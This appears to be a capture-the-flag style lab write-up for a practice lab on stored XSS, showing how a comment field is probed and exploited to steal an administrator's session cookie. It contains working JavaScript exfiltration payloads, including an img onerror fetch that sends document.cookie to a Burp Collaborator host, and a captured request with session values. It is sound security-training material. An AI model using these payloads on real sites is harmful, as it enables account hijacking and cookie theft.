On this page
Stealing Cookies via Stored XSS
Vulnerability
Stored XSS is a vulnerability where user input is persisted on the server and later returned to other users as part of an HTML page without proper escaping. If the victim is an authenticated user, the attacker can capture their session cookie and hijack the account.
Lab
Name: Exploiting cross-site scripting to steal cookiesDifficulty: Practitioner Goal: Inject a payload into a comment, exfiltrate the administrator's cookie, and log in as them.
Reconnaissance
We probe every field of the comment form with the standard <>"'\ set. The Comment field is vulnerable — the characters are reflected unescaped. The other fields (name, email, website) are filtered.
Exploitation
Step 1 — Choosing a payload
A request to an external host from an event handler can be built in several ways:
fetch('URL?c=' + document.cookie)
new Image().src = 'URL?c=' + document.cookie
this.src = 'URL?c=' + document.cookie // reuse the tag itself
Step 2 — Burp Collaborator
A self-hosted server didn't receive the request, so we use the built-in Burp Collaborator — it generates a one-off domain and logs every incoming request.
We get an address like zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com and craft the payload:
<img src="x" onerror="fetch('https://zvy0sc79xmo6lmcgsthr3j4i2980wqkf.oastify.com/?c='+document.cookie)" />
Submit it as a comment.
Step 3 — Capturing the cookie
Collaborator records the incoming request:
GET /?c=secret=PZYFKXdyeAbf5tKe8hyPZjKqR97bGzl9;%20session=0Ppv65ScgeSsMYw0pa0gL6XcFtXLbEba HTTP/1.1
Take the session value, paste it into our own cookies via DevTools — we're logged in as the administrator. Lab solved.
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.